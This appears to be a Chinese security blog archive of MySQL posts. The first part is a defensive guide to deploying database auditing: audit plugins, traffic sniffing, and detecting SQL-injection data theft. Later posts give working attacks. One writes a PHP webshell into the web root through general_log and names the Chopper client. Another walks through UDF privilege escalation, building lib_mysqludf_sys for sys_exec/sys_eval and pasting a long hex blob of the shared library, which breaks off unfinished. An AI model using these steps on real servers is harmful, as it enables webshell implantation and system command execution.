标签归档:mysql

【企业安全实战】数据库审计部署实践

0x01 概述


安全的核心是数据,数据库安全也是企业安全中很重要的一点,当然数据库安全涉及到很多方面,又衍生出很多安全产品,例如数据库审计、数据库防火墙、数据库加密、数据库脱敏等,本文主要阐述企业内部Mysql DB审计记录SQL执行的实现。按照部署方式分为以下几种:

1)流量镜像

旁路部署,透明部署,不影响网络拓扑,也不会造成额外的性能消耗。

2)DB Proxy

很多公司都有Mysql中间件,用于读写分离、负载均衡、监控等等。

3)DB Server部署Agent

在每台DB Server上安装Agent获取DB流量。

4)DB审计插件

安装插件记录增删改查语句,然后采集生成日志。

这里我们介绍一下比较流行的分析工具和插件。

 

0x02 DB审计插件


1、Mariadb Audit插件

从Mariadb 10.0版本开始audit插件直接内嵌了,名称为server_audit.so,可以直接加载使用。配置过程如下:

配置yum 数据源:

cd /etc/yum.repos.d/ 

vim /etc/yum.repos.d/MariaDB.repo

写入以下内容:

# MariaDB 10.0 CentOS repository list - created 2015-08-12 10:59 UTC 

# http://mariadb.org/mariadb/repositories/ 

[mariadb] 

name = MariaDB 

baseurl = http://yum.mariadb.org/10.0/centos6-amd64 

gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB 

gpgcheck=1

安装数据库:

yum -y install MariaDB-server MariaDB-client

启动数据库:

service mysql start

设置root密码:

mysqladmin -u root -p password 'hehe123'

安装审计插件:

MariaDB [(none)]> install plugin server_audit soname 'server_audit.so';

Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> show variables like '%audit%';

+-------------------------------+-----------------------+

| Variable_name                 | Value                 |

+-------------------------------+-----------------------+

| server_audit_events           |                       |

| server_audit_excl_users       |                       |

| server_audit_file_path        | server_audit.log      |

| server_audit_file_rotate_now  | OFF                   |

| server_audit_file_rotate_size | 1000000               |

| server_audit_file_rotations   | 9                     |

| server_audit_incl_users       |                       |

| server_audit_logging          | OFF                   |

| server_audit_mode             | 0                     |

| server_audit_output_type      | file                  |

| server_audit_query_log_limit  | 1024                  |

| server_audit_syslog_facility  | LOG_USER              |

| server_audit_syslog_ident     | mysql-server_auditing |

| server_audit_syslog_info      |                       |

| server_audit_syslog_priority  | LOG_INFO              |

+-------------------------------+-----------------------+

15 rows in set (0.00 sec)

参数说明:

server_audit_output_type:指定日志输出类型,可为SYSLOG或FILE

server_audit_logging:启动或关闭审计

server_audit_events:指定记录事件的类型,可以用逗号分隔的多个值(connect,query,table),如果开启了查询缓存(query cache),查询直接从查询缓存返回数据,将没有table记录

server_audit_file_path:如server_audit_output_type为FILE,使用该变量设置存储日志的文件,可以指定目录,默认存放在数据目录的server_audit.log文件中

server_audit_file_rotate_size:限制日志文件的大小

server_audit_file_rotations:指定日志文件的数量,如果为0日志将从不轮转

server_audit_file_rotate_now:强制日志文件轮转

server_audit_incl_users:指定哪些用户的活动将记录,connect将不受此变量影响,该变量比server_audit_excl_users 优先级高

server_audit_syslog_facility:默认为LOG_USER,指定facility

server_audit_syslog_ident:设置ident,作为每个syslog记录的一部分

server_audit_syslog_info:指定的info字符串将添加到syslog记录

server_audit_syslog_priority:定义记录日志的syslogd priority

server_audit_excl_users:该列表的用户行为将不记录,connect将不受该设置影响

server_audit_mode:标识版本,用于开发测试

 

vim /etc/my.cnf.d/server.cnf

在[server]下添加:

server_audit_events='CONNECT,QUERY,TABLE'

server_audit_logging=ON     

server_audit_file_rotate_size = 10G   

server_audit_file_path='/tmp/server_audit.log'

执行数据库操作,审计到的内容如下:

20170307 08:39:55,kafka112,root,localhost,3,67,READ,test,test,

20170307 08:39:55,kafka112,root,localhost,3,67,QUERY,test,'select * from test',0

20170307 08:40:29,kafka112,root,localhost,3,0,DISCONNECT,test,,0

20170307 08:41:06,kafka112,root,localhost,4,0,FAILED_CONNECT,,,1045

20170307 08:41:06,kafka112,root,localhost,4,0,DISCONNECT,,,0

20170307 08:41:11,kafka112,root,localhost,5,0,CONNECT,,,0

20170307 08:41:11,kafka112,root,localhost,5,69,QUERY,,'select @@version_comment limit 1',0

20170307 08:41:22,kafka112,root,localhost,5,70,QUERY,,'show variables like \'%audit%\'',0

2Mysql audit plugin

Mysql audit plugin是Mcafee开源的Mysql审计工具,支持版本为MySQL (5.1, 5.5, 5.6, 5.7),MariaDB (5.5, 10.0, 10.1) ,Platform (32 or 64 bit)。

插件地址如下:

https://bintray.com/mcafee/mysql-audit-plugin/release

根据Mysql版本下载配对的版本插件。

https://bintray.com/mcafee/mysql-audit-plugin/release/1.1.4-725?versionPath=%2Fmcafee%2Fmysql-audit-plugin%2Frelease%2F1.1.4-725#files

下载解压后,在Lib目录下找到libaudit_plugin.so

查看plugin目录

mysql> show variables like '%plugin%';

+---------------+-------------------------+

| Variable_name | Value                   |

+---------------+-------------------------+

| plugin_dir    | /usr/lib64/mysql/plugin |

+---------------+-------------------------+

1 row in set (0.00 sec)

将libaudit_plugin.so复制到Plugin_dir下

安装插件:

mysql> INSTALL PLUGIN AUDIT SONAME 'libaudit_plugin.so';

Query OK, 0 rows affected (0.35 sec)

查看版本:

mysql> show global status like '%audit%';

+------------------------+-----------+

| Variable_name          | Value     |

+------------------------+-----------+

| Audit_protocol_version | 1.0       |

| Audit_version          | 1.1.4-725 |

+------------------------+-----------+

2 rows in set (0.01 sec)

开启审计功能

mysql> set global audit_json_file = ON;

Query OK, 0 rows affected (0.00 sec)

查看配置参数

mysql> show global variables like '%audit%'\G

*************************** 1. row ***************************

Variable_name: audit_before_after

        Value: after

*************************** 2. row ***************************

Variable_name: audit_checksum

        Value:

*************************** 3. row ***************************

Variable_name: audit_client_capabilities

        Value: OFF

*************************** 4. row ***************************

Variable_name: audit_delay_cmds

        Value:

*************************** 5. row ***************************

Variable_name: audit_delay_ms

        Value: 0

*************************** 6. row ***************************

Variable_name: audit_force_record_logins

        Value: OFF

*************************** 7. row ***************************

Variable_name: audit_header_msg

        Value: ON

*************************** 8. row ***************************

Variable_name: audit_json_file

        Value: ON

*************************** 9. row ***************************

Variable_name: audit_json_file_bufsize

        Value: 1

*************************** 10. row ***************************

Variable_name: audit_json_file_flush

        Value: OFF

*************************** 11. row ***************************

Variable_name: audit_json_file_retry

        Value: 60

*************************** 12. row ***************************

Variable_name: audit_json_file_sync

        Value: 0

*************************** 13. row ***************************

Variable_name: audit_json_log_file

        Value: mysql-audit.json

*************************** 14. row ***************************

Variable_name: audit_json_socket

        Value: OFF

*************************** 15. row ***************************

Variable_name: audit_json_socket_name

        Value: /var/run/db-audit/mysql.audit__var_lib_mysql_3306

*************************** 16. row ***************************

Variable_name: audit_json_socket_retry

        Value: 10

*************************** 17. row ***************************

Variable_name: audit_json_socket_write_timeout

        Value: 1000

*************************** 18. row ***************************

Variable_name: audit_offsets

        Value:

*************************** 19. row ***************************

Variable_name: audit_offsets_by_version

        Value: ON

*************************** 20. row ***************************

Variable_name: audit_password_masking_cmds

        Value: CREATE_USER,GRANT,SET_OPTION,SLAVE_START,CREATE_SERVER,ALTER_SERVER,CHANGE_MASTER,UPDATE

*************************** 21. row ***************************

Variable_name: audit_password_masking_regex

        Value: identified(?:/\*.*?\*/|\s)*?by(?:/\*.*?\*/|\s)*?(?:password)?(?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"]|password(?:/\*.*?\*/|\s)*?\((?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"](?:/\*.*?\*/|\s)*?\)|password(?:/\*.*?\*/|\s)*?(?:for(?:/\*.*?\*/|\s)*?\S+?)?(?:/\*.*?\*/|\s)*?=(?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"]|password(?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"]

*************************** 22. row ***************************

Variable_name: audit_record_cmds

        Value:

*************************** 23. row ***************************

Variable_name: audit_record_objs

        Value:

*************************** 24. row ***************************

Variable_name: audit_socket_creds

        Value: ON

*************************** 25. row ***************************

Variable_name: audit_uninstall_plugin

        Value: OFF

*************************** 26. row ***************************

Variable_name: audit_validate_checksum

        Value: ON

*************************** 27. row ***************************

Variable_name: audit_validate_offsets_extended

        Value: ON

*************************** 28. row ***************************

Variable_name: audit_whitelist_cmds

        Value: BEGIN,COMMIT,PING

*************************** 29. row ***************************

Variable_name: audit_whitelist_users

        Value:

29 rows in set (0.00 sec)

常用的参数:

1)audit_json_file

是否开启audit功能。

2)audit_json_log_file

日志文件路径。默认会在mysql data目录下,查看Data目录路径:

mysql> show variables like ‘datadir’;

+—————+—————–+

| Variable_name | Value           |

+—————+—————–+

| datadir       | /var/lib/mysql/ |

+—————+—————–+

1 row in set (0.00 sec)

3)audit_record_cmds

记录的操作类型,默认为记录所有命令。

mysql> set global audit_record_cmds=’select,insert,update,delete’;

Query OK, 0 rows affected (0.00 sec)

修改为默认

mysql> set global audit_record_cmds = NULL;

Query OK, 0 rows affected (0.00 sec)

4) audit_record_objs

audit记录操作的对象,默认为所有。

mysql> set global audit_record_objs = ‘test.*’;

Query OK, 0 rows affected (0.00 sec)

修改为默认

mysql> set global audit_record_objs = NULL;

Query OK, 0 rows affected (0.00 sec)

5) audit_whitelist_users

用户白名单。

 

这里测试一下,Mysql执行show databases;,日志如下:

{"msg-type":"activity","date":"1502854234067","thread-id":"2","query-id":"15","user":"root","priv_user":"root","host":"localhost","pid":"14373","os_user":"root","appname":"mysql","rows":"5","cmd":"show_databases","objects":[{"db":"information_schema","name":"/tmp/#sql_37a1_0","obj_type":"TABLE"}],"query":"show databases"}

 

0x03 流量镜像


镜像DB交换机接口双向流量,不影响当前网络架构,这里我们介绍两种方式。

1、Packetbeat

Packetbeat通过嗅探应用服务器之间的网络通讯,来解码应用层协议类型如HTTP、MySQL、redis等等,关联请求与响应,并记录每个事务有意义的字段。我们可以部署在Mysql Server上,也可以部署在流量镜像服务器。部署方式如下:

yum -y install libpcap

./packetbeat -c packetbeat.yml

packetbeat.yml为配置文件

packetbeat.template.json为mapping文件

测试:

mysql> select host,user from mysql.user;

+-----------+------+

| host      | user |

+-----------+------+

| %         | root |

| %         | soc  |

| 127.0.0.1 | root |

| localhost |      |

| localhost | soc  |

+-----------+------+

5 rows in set (0.00 sec)

输出到Elasticsearch内容如下:

query:执行的SQL语句

num_fields:返回的字段数

num_rows:查询结果行数

 

2、MySQL Sniffer

MySQL Sniffer 是一个基于 MySQL 协议的抓包工具,实时抓取 MySQLServer 端或 Client 端请求,并格式化输出。输出内容包括访问时间、访问用户、来源 IP、访问 Database、命令耗时、返回数据行数、执行语句等。有批量抓取多个端口,后台运行,日志分割等多种使用方式,操作便捷,输出友好。

安装依赖:

yum install glib2-devel libpcap-devel libnet-devel

项目下载地址:

https://github.com/Qihoo360/mysql-sniffer

安装步骤:

cd mysql-sniffer

mkdir proj

cd proj

cmake ../

make

cd bin/

参数如下:

[root@server120 bin]# ./mysql-sniffer -h

Usage ./mysql-sniffer [-d] -i eth0 -p 3306,3307,3308 -l /var/log/mysql-sniffer/ -e stderr

         [-d] -i eth0 -r 3000-4000

         -d daemon mode.

         -s how often to split the log file(minute, eg. 1440). if less than 0, split log everyday

         -i interface. Default to eth0

         -p port, default to 3306. Multiple ports should be splited by ','. eg. 3306,3307

            this option has no effect when -f is set.

         -r port range, Don't use -r and -p at the same time

         -l query log DIRECTORY. Make sure that the directory is accessible. Default to stdout.

         -e error log FILENAME or 'stderr'. if set to /dev/null, runtime error will not be recorded

         -f filename. use pcap file instead capturing the network interface

         -w white list. dont capture the port. Multiple ports should be splited by ','.

         -t truncation length. truncate long query if it's longer than specified length. Less than 0 means no truncation

         -n keeping tcp stream count, if not set, default is 65536. if active tcp count is larger than the specified count, mysql-sniffer will remove the oldest one

测试:

[root@server120 bin]# ./mysql-sniffer -i lo -p 3306

2017-08-16 13:56:04  root     127.0.0.1     NULL              0ms              1  select @@version_comment limit 1

2017-08-16 14:01:56  root     127.0.0.1     NULL              0ms             1  SELECT DATABASE()

2017-08-16 14:01:56  root     127.0.0.1     mysql            0ms              0  use mysql

2017-08-16 14:01:56  root     127.0.0.1     mysql            0ms              5  show databases

2017-08-16 14:01:56  root     127.0.0.1     mysql            0ms            23 show tables

2017-08-16 14:02:04  root     127.0.0.1     mysql            0ms              8  select * from user

输出格式为:时间,访问用户,来源 IP,访问 Database,命令耗时,返回数据行数,执行语句。

保存日志可以用filebeat采集:

[root@server120 bin]# ./mysql-sniffer -i eth0 -p 3306 -l /tmp/

[root@server120 tmp]# head -n 5 3306.log

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              0  SET NAMES utf8

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              2  SHOW VARIABLES LIKE 'lower_case_%'

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              1  SHOW VARIABLES LIKE 'profiling'

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              5  SHOW DATABASES

2017-08-16 14:05:20  root     192.168.190.201       NULL              0ms              0  SET NAMES utf8

-l 指定日志输出路径,日志文件将以 port.log 命名。

需要注意的是:

只能抓取新建的链接,如果是之前创建的链接将获取不到用户名和库名,并有一定几率丢包。

PS:

同事在使用DVWA测试的时候发现抓不到3306的包,原来是因为DVWA配置的数据库源是localhost,其实localhost和127.0.0.1不一样。

localhot不经网卡传输,它不受网络防火墙和网卡相关的的限制。

127.0.0.1是通过网卡传输,依赖网卡,并受到网络防火墙和网卡相关的限制。

 

0x04 拖库检测


根据SQL注入的特征,我们可以从以下角度分析:

1)QPS基线,例如通常凌晨的业务量小,QPS会比较低,而如果日志数突然增多,那么很有可能存在拖库行为。

2)特征匹配,这里就有些类似于WAF,例如通常Mysql注入会查询Information_schema,SQLMAP托库语句使用大量IFNULL、ORD、MID、CAST函数,时间盲注中用到的sleep和benchmark且命令耗时长,报错注入中用到的floor和updatexml等等。日志使用Logstash采集的时候,命中相关规则则打标,使用ElastALert监控单位时间内异常日志数量超过阈值则告警。

当然这是通用做法,如果对业务熟悉之后可以添加更细致准确的检测规则。

 

 

Mysql利用general_log Getshell

感觉这种方式和redis通过持久化定时任务道理一样,都是通过命令修改系统配置来实现。
Windows下用phpstudy测试:
查看general_log的配置情况

mysql> show global variables like "%genera%";
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| general_log      | OFF            |
| general_log_file | E:/WWW/cmd.php |
+------------------+----------------+
2 rows in set (0.02 sec)
mysql> set global general_log='on';
Query OK, 0 rows affected (0.12 sec)
mysql> SET global general_log_file='E:/WWW/cmd.php';
Query OK, 0 rows affected (0.01 sec)
mysql> show global variables like "%genera%";
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| general_log      | ON             |
| general_log_file | E:/WWW/cmd.php |
+------------------+----------------+
2 rows in set (0.00 sec)
mysql> SELECT '<?php @assert($_POST["cmd"]);?>';
+---------------------------------+
| <?php @assert($_POST["cmd"]);?> |
+---------------------------------+
| <?php @assert($_POST["cmd"]);?> |
+---------------------------------+
1 row in set (0.00 sec)

查看文件内容

使用菜刀连接即可。

Linux下测试,首先需要Mysql有Web目录的写入权限,这里先将Web目录权限改为777,然后看一下生成的general_log文件的权限
[root@server120 html]# ls -al cmd.php
-rw-rw—- 1 mysql mysql 177 5月  26 10:33 cmd.php
发现文件权限是660,即默认的apache启动账户apache是没有读权限的。这里和umask设置没有关系。

vim /etc/profile
if [ $UID -gt 199 ] && [ "`id -gn`" = "`id -un`" ]; then
    umask 002
else
    umask 022
fi

这里的权限如果uid大于199,umask就是002,所对应用户创建的文件权限是666-002=664,目录权限是777-002=775。而general_log文件的权限为660,所以和umask的配置没关系。

MySQL中有一个名为secure_file_priv的全局系统变量。这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。

如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。

如果变量为空,则不会产生影响,引起不安全的配置。

如果变量设置为NULL,那么服务器就会禁用导入和导出操作。

在/etc/my.cnf中【mysqld】下新增

secure_file_priv=/tmp/

测试:

mysql> select * from test union select 1 into outfile '/opt/mysql.txt';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

mysql> select * from test union select 1 into outfile '/tmp/mysql.txt';

Query OK, 4 rows affected (0.00 sec)

 

 

Mysql udf提权(Linux平台)

UDF是MySQL的一个共享库,通过udf创建能够执行系统命令的函数sys_exec、sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限
网上有些文章利用的是sqlmap-master\udf\mysql\linux\64的lib_mysqludf_sys.so_文件,但是测试中发现会报错

mysql> create function sys_eval returns string soname 'udf.so';
ERROR 1126 (HY000): Can't open shared library 'udf.so' (errno: 22 /usr/lib64/mysql/plugin/udf.so: invalid ELF header)

下载lib_mysqludf_sys程序:https://github.com/mysqludf/lib_mysqludf_sys
解压文件,在源码目录里编译源代码:

gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

注意:在编译源码时,可能会出现如下错误

In file included from lib_mysqludf_sys.c:40:
/usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory

这是一个mysql的bug引起的错误,只要修改/usr/include/mysql/my_global.h文件,注释掉626行重新编译就可以了。
生成文件lib_mysqludf_sys.so后,使用Hex.hta获取16进制

mysql> show variables like '%plugin%';
+---------------+-------------------------+
| Variable_name | Value                   |
+---------------+-------------------------+
| plugin_dir    | /usr/lib64/mysql/plugin |
+---------------+-------------------------+
1 row in set (0.00 sec)

mysql> select * from func; #检查是否已经有人导出过了
mysql> select unhex('7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E74000000000000000000000000000000000000000000000000000000000000000